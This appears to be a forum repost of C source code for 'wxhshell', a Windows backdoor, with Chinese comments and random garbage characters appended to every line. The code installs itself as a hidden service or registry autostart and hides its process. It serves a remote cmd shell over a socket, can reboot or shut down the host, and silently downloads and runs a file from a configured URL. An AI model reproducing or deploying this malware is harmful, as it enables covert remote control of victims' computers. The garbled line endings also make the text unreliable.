  // 帮助 Qpc__dA\  
  case '?': { Q/0Tj]D  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7;wd(8  
    break; `|& O*`  
  } @lrztM  
  // 安装 A$0fKko  
  case 'i': { Pu$Tk |  
    if(Install()) ;85>xHK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); FWgpnI\X|{  
    else ]Q)OL  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); #.)0xfGW)n  
    break; uz jU2  
    } @`- 4G2IU}  
  // 卸载 JP [K;/  
  case 'r': { y}ev ,j  
    if(Uninstall()) LFRlzz;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); j'"J%e]  
    else JU&c.p /  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); <6 Uf.u`  
    break; r52gn(,  
    } 6mxfLlZ  
  // 显示 wxhshell 所在路径 00~mOK;1  
  case 'p': { ~V1E0qdAE  
    char svExeFile[MAX_PATH]; I:1C8*/  
    strcpy(svExeFile,"\n\r"); ` 7V]y -  
      strcat(svExeFile,ExeFile); 56kI 5:  
        send(wsh,svExeFile,strlen(svExeFile),0); !wh8'X*  
    break; =MDys b&:  
    } ],Do6 @M-  
  // 重启 P{ lB50  
  case 'b': { oQ[f,7u  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ;+ hH  
    if(Boot(REBOOT)) v;D~Pa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); K`fuf=  
    else { =$JET<(  
    closesocket(wsh); )=_,O=z$K  
    ExitThread(0); ')<hON44EX  
    } d S V8q ,D  
    break; E""bTz@  
    } F0Yd@Lk$_  
  // 关机 dJNe+ MB`  
  case 'd': { n<R?ffy  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); Ry6@VQ"NLb  
    if(Boot(SHUTDOWN)) {8bSB.?R  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 59;KQ  
    else { f\L0 xJ  
    closesocket(wsh); B>P{A7Q  
    ExitThread(0); }y gD3:vN7  
    } tJ$_lk ~6q  
    break; 0[W:d=C`a  
    } U26}gT)  
  // 获取shell 5vnrA'BhBU  
  case 's': { ~6LN6}~|.  
    CmdShell(wsh); z1X`o  
    closesocket(wsh); <*cikXS  
    ExitThread(0); &`2)V;t  
    break; {9.|2%a  
  } A#YrWW  
  // 退出 hf&9uHN%7m  
  case 'x': { f x+/C8GK  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); CB}2j  
    CloseIt(wsh); SSMHoJGm  
    break; J)p l|I  
    } @_}P-h  
  // 离开 r$s Qf&=  
  case 'q': { LyFN.2qw  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V1B5w_^>h'  
    closesocket(wsh); 1tFNM[R  
    WSACleanup(); HY:7? <r  
    exit(1); tf`^v6m%]  
    break; sdw(R#GE  
        } !%%6dB@%t  
  } IF:;`r@%  
  } "oO%`:pb  
/jJw0 5;L  
  // 提示信息 FJ)$f?=Qd  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n,WqyNt*  
} -m~#Bq  
  } PALc;"]O  
:,6\"y-  
  return; aO4?m+  
} {;6`_-As%  
&6nWzF  
// shell模块句柄 ~oY^;/ j  
int CmdShell(SOCKET sock) svH !1 b  
{ 'm kLCS  
STARTUPINFO si; &&>ekG 9@  
ZeroMemory(&si,sizeof(si)); /h|#J  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 1=Z0w +v{  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5VU2[ \  
PROCESS_INFORMATION ProcessInfo; Y`a3tO=Pd  
char cmdline[]="cmd"; NqWdRU  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); E$p+}sP(C  
  return 0; *b\t#meS&  
} I9ep`X6Y  
&gx%b*;`L0  
// 自身启动模式 Q>i^s@0  
int StartFromService(void) ['iPl/v0  
{ Q hO!Ma]  
typedef struct YT(AUS5n  
{ BLD gt~h#  
  DWORD ExitStatus; V1M.JU  
  DWORD PebBaseAddress; +@wD qc  
  DWORD AffinityMask; JIq=* '  
  DWORD BasePriority; 6(ol1 (U  
  ULONG UniqueProcessId; $1`2 kM5  
  ULONG InheritedFromUniqueProcessId; C]A.i2o8  
}   PROCESS_BASIC_INFORMATION; yD}B%\45  
l!u_"I8j5  
PROCNTQSIP NtQueryInformationProcess; g]0_5?i  
3)ywX&4"L  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 7zG_(83)K  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [.wYdv35  
xU`p|(SS-  
  HANDLE             hProcess; H9e<v4 c  
  PROCESS_BASIC_INFORMATION pbi; {R6ZKB  
\bw2u!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); <7jW _R@  
  if(NULL == hInst ) return 0; 8bld3p"^  
~b8]H|<'Y  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); P/_['7  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); j&qub_j"xX  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }*]-jWt1J\  
gRcQt:  
  if (!NtQueryInformationProcess) return 0; (SAs-  
[d ]9Oa4  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 3h`f  6  
  if(!hProcess) return 0; <wD-qTW  
[/8%3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nAdf=D'P  
$f7l34Sf3  
  CloseHandle(hProcess); u]UOSfn  
g[4WzDF*  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); DSn_0D  
if(hProcess==NULL) return 0; wk_@R=*(\  
--BW9]FW  
HMODULE hMod; b4N[)%@  
char procName[255]; m ~$v;?i  
unsigned long cbNeeded; #o#H?Vo9b  
a9V,es"BWQ  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R0*|Lo$6  
X#^[<5  
  CloseHandle(hProcess); Slc\&Eb  
om:VFs\U  
if(strstr(procName,"services")) return 1; // 以服务启动 "VMz]ybi^  
nAlQ7 '  
  return 0; // 注册表启动 KVa  
} bV3|6]k^  
Pa: |_IXA  
// 主模块 FfT`;j  
int StartWxhshell(LPSTR lpCmdLine) Wmv#:U  
{ SXP]%{@ R/  
  SOCKET wsl; am6L8N  
BOOL val=TRUE; Uw<nxD/+  
  int port=0; U|R_OLWAg  
  struct sockaddr_in door; S{T >}'y  
]3Sp W{=^(  
  if(wscfg.ws_autoins) Install(); BnF^u5kv%  
j^RmrOg ,  
port=atoi(lpCmdLine); NC6&x=!3  
U8$27jq  
if(port<=0) port=wscfg.ws_port; G$('-3@i`w  
E|shs=I  
  WSADATA data; M/`lM$98:  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; wi{3/  
O+x!Bg7   
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   +X 88;-  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); SiN0OB  
  door.sin_family = AF_INET; ]u/sphPe  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); h^P#{W!e\  
  door.sin_port = htons(port); ) Hr`M B  
YKK*ER0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &s!@29DXR  
closesocket(wsl); 2=!RQv~%  
return 1; Y"$xX8o  
} b4Ekqas  
6[AL|d DK  
  if(listen(wsl,2) == INVALID_SOCKET) { S~G ]~gt  
closesocket(wsl); +D*Z_Yh6  
return 1; >9Vn.S  
} <<O$ G7c  
  Wxhshell(wsl); .O<obq~;C  
  WSACleanup(); 9_h[bBx-'Q  
ZXPX,~ 5o  
return 0; p!AAFmc  
o.`5D%}i  
} sU^1wB Rj  
(+hK%}K>  
// 以NT服务方式启动 [0("Q;Ec[j  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6Q5^>\Y  
{ @_{=V0  
DWORD   status = 0; ?:eV%`7  
  DWORD   specificError = 0xfffffff; ;5( UzQU  
DzRFMYBR  
  serviceStatus.dwServiceType     = SERVICE_WIN32; {?7Uj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; w_VP J  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 0JujesUw(  
  serviceStatus.dwWin32ExitCode     = 0; Zx>=tx}  
  serviceStatus.dwServiceSpecificExitCode = 0; "Z+k=~(  
  serviceStatus.dwCheckPoint       = 0; S$-7SEkO+  
  serviceStatus.dwWaitHint       = 0; ba9?(+i$h  
?:9"X$XR  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 8zq=N#x  
  if (hServiceStatusHandle==0) return; *|HY>U.  
eS){1  
status = GetLastError();  C9)@jK%  
  if (status!=NO_ERROR) E=O\0!F|b  
{ [dVL&k<P  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; I)HPO,7  
    serviceStatus.dwCheckPoint       = 0; 3=V &K-  
    serviceStatus.dwWaitHint       = 0; 'dc#F3  
    serviceStatus.dwWin32ExitCode     = status; |;{6& S  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7 _[L o4_  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); -$Ih@2"6  
    return; ~)M~EX&pK  
  } Yx`n:0  
dqcL]e  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; @>7%qS  
  serviceStatus.dwCheckPoint       = 0; WTiD[u  
  serviceStatus.dwWaitHint       = 0; a?oI>8*  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); &uVnZ@o42  
} h Xya*#n#  
5#z1bu  
// 处理NT服务事件,比如:启动、停止 ZYNsHcTY  
VOID WINAPI NTServiceHandler(DWORD fdwControl) M D#jj3y  
{ AQ^u   
switch(fdwControl) + >!;i6|  
{ b\,+f n  
case SERVICE_CONTROL_STOP: y8xE 6i  
  serviceStatus.dwWin32ExitCode = 0; wb ;xRP"w  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; dDGQ`+H9  
  serviceStatus.dwCheckPoint   = 0; 1=v*O.XW`  
  serviceStatus.dwWaitHint     = 0; =-Ck4e *T  
  { 62NsJ<#>  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); PQE =D0  
  } DVeE1Q  
  return; ksm~<;td  
case SERVICE_CONTROL_PAUSE: f%8C!W]Dm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "ocyK}l.?  
  break; zKK9r~ M  
case SERVICE_CONTROL_CONTINUE: b~cZS[S  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l%=;  
  break; !d T4  
case SERVICE_CONTROL_INTERROGATE: 5~S5F3  
  break; -tU'yKhn  
}; ?&uu[y  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); =i3n42M#  
} !ubD/KE  
wdoR%b{M  
// 标准应用程序主函数 dgP3@`YS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "uf%iJ:%  
{ *=xr-!MEk  
 _','9|  
// 获取操作系统版本 c1gQ cqF  
OsIsNt=GetOsVer(); hCo|HB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); FC4wwzb  
f,Ghb~y  
  // 从命令行安装 !TcJ)0   
  if(strpbrk(lpCmdLine,"iI")) Install(); bN=P*hdf  
[PbOfxxgA  
  // 下载执行文件 &6k3*dq  
if(wscfg.ws_downexe) { 7PF%76TO  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 51.%;aY~z  
  WinExec(wscfg.ws_filenam,SW_HIDE); fd9k?,zM  
} :fJN->wY^s  
/Gfw8g\}  
if(!OsIsNt) { q0 \6F^;M  
// 如果时win9x,隐藏进程并且设置为注册表启动 Zgb!E]V[  
HideProc(); N)Z?Z+ }h  
StartWxhshell(lpCmdLine); 'we>q@  
} >C~6\L`c  
else bQ5\ ]5M  
  if(StartFromService()) Ht&Y C<X  
  // 以服务方式启动 -%4,@ x`  
  StartServiceCtrlDispatcher(DispatchTable); I*^Ta{j[  
else -DAlRz#d,  
  // 普通方式启动 9Gz=lc[!7  
  StartWxhshell(lpCmdLine); =?`c=z3~i$  
]]Ufas9  
return 0; q75s#[<ap  
}
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只看该作者 1 发表于: 2006-10-10
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